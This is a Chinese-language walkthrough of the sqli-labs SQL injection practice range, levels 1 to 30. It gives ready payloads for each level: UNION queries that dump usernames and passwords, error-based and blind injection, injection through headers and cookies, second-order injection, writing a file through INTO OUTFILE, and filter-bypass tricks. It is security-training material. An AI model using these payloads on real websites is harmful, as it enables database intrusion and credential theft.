sqli-labs是一款练习sql注入的著名靶场。而造成SQL注入的原因是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。通过本文将sqli-labs
刷完或许对你的学习有所帮助,在这里记录一下每一题的大体思路和payload。
项目地址
git clone http://github.com/Rinkish/Sqli_Edited_Version
less-1~2
基于错误的字符串/数字型注入。
当我们在域名后面加入变量?id=1'
id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交'or1=1–+
,直接构造的sql语句就是SELECTFROMusersWHEREid=’1’or1=1–+LIMIT0,1
这条语句因or1=1
则为真
构造语句?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
,查看所有的数据库。
http://992a3be73d2d49979529ed116492710a.n1.vsgo.cloud:8340/sqlilabs/Less-1/?id=1%27%20AND%201=2%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%20--+
可以看到当前数据库有:information_schema
,challenges
,mysql
,security
,test
查询security内的所有表名
http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
爆出列名
http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
爆出用户名和密码
http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
因为关卡比较多,这里就不在详解了。
less3~4
和前面一样,只不过闭合符号不一样了。
我们对其源码进行简单的分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}else{
print_r(mysql_error());
}
在第三关我们输入?id=1'
爆错如下: ''1'') LIMIT 0,1'
,但是在第四关输入'
不报错。而输入"
爆错误。而且还有个括号要绕过。
所以构建语法如下:
爆出用户名和密码
http://127.0.0.1/sqlilabs/Less-1/?id=0") AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
less5~6
这两关关闭了错误信息 ,我们可以用布尔盲注也可以直接报错注入
爆值
http://127.0.0.1/sqlilabs/Less-6/?id=1%27%20union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
第五关和第六关的区别在于'
和"
less7
?id=1'
报错?id=1'%23
报错
都是 You have an error in your SQL syntax
我们对源码解读,可以看到这样的语句。
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$id
被双层括号和单引号包围,URL正确时有提示
构造语句
http://127.0.0.1/sqlilabs/Less-7/
?id=1')) UNION SELECT 1,2,3 into outfile "\WWW\\sqli\\Less-7\\1.php"%23
less-8 9 10
基于布尔/时间的盲注
我们尝试用各种构造,都提示的是 You are in……
构造如下:
http://127.0.0.1/sqlilabs/Less-8/?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))%23
Less11
要输入的有两个东西,抓包分析,是POST,传入的是username
和passwd
构造语法
uname=-qing") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit//爆全部数据
在burp中构造post数据包
效果如下
less-12
和11关一小点不同 ,闭合符号不一样而已 .
构造如下:
uname=admin") order by 2#&passwd=1&submit=Submit
less-13
用我们常说的万能钥匙or 1=1
uname= qing') or 1=1 # &passwd= ') or 1=1 # &submit=Submit
爆出库
uname= 6666') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= 666') or 1=1 # &submit=Submit
Less14
和上关一样,闭合不一样。
uname= qing" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit
Less15
单引号闭合的布尔盲注 直接用盲注语句猜解就是了
uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit
uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit
Less16
一样的,布尔盲注
uname=admin")and left(database(),1)='s'%23&passwd=1&submit=Submit
Less17
update
的注入
爆出数据库
uname=admin&passwd=6666' or updatexml(1,concat(0x7e,(version()),0x7e),0) or '&submit=Submit
Less18
基于报错注入
抓包修改User-Agent
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND '
Less 19
抓包修改Referer
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND '
Less 20
cookie
字段的注入 和前面相比位置不同
Cookie: uname=' union select 1,database(),6 or 1=1 #;
less21
还是cookie,但是更复杂了
对payload进行base64编码
hello' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#
less22
双引号
" AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#
less23
id=1 ' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
Less 24
二次注入
注册一个 admin'#
账号 ,然后修改密码,
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
的时候就把我们原先的admin' or 1=1 #取出来拿到语句中了
Less 25
提示不能用and
和 or
function blacklist($id){
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
双写就行了
?id=1' oorr '1'='1
Less 26
可以看到,这关过滤的东西比较多。
function blacklist($id) {
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
过滤了 or
,and
, /*
, –
,#
, 空格
, /
构造语句
?id=1%27||extractvalue(1,concat(0x7e,user(),0x7e))||%27
Less 27
和上关一样,过滤的东西也比较多。但闭合不一样
?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1
Less 28
过滤union
select
这一个组合,也要过滤空格,所以采用union union select select
方法绕过,空格照样用%0a
替换
0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1
Less 29
加了一个很弱的waf
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23
Less 30
和上关一样换汤不换药,这次是双引号
id=1&id=0" union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23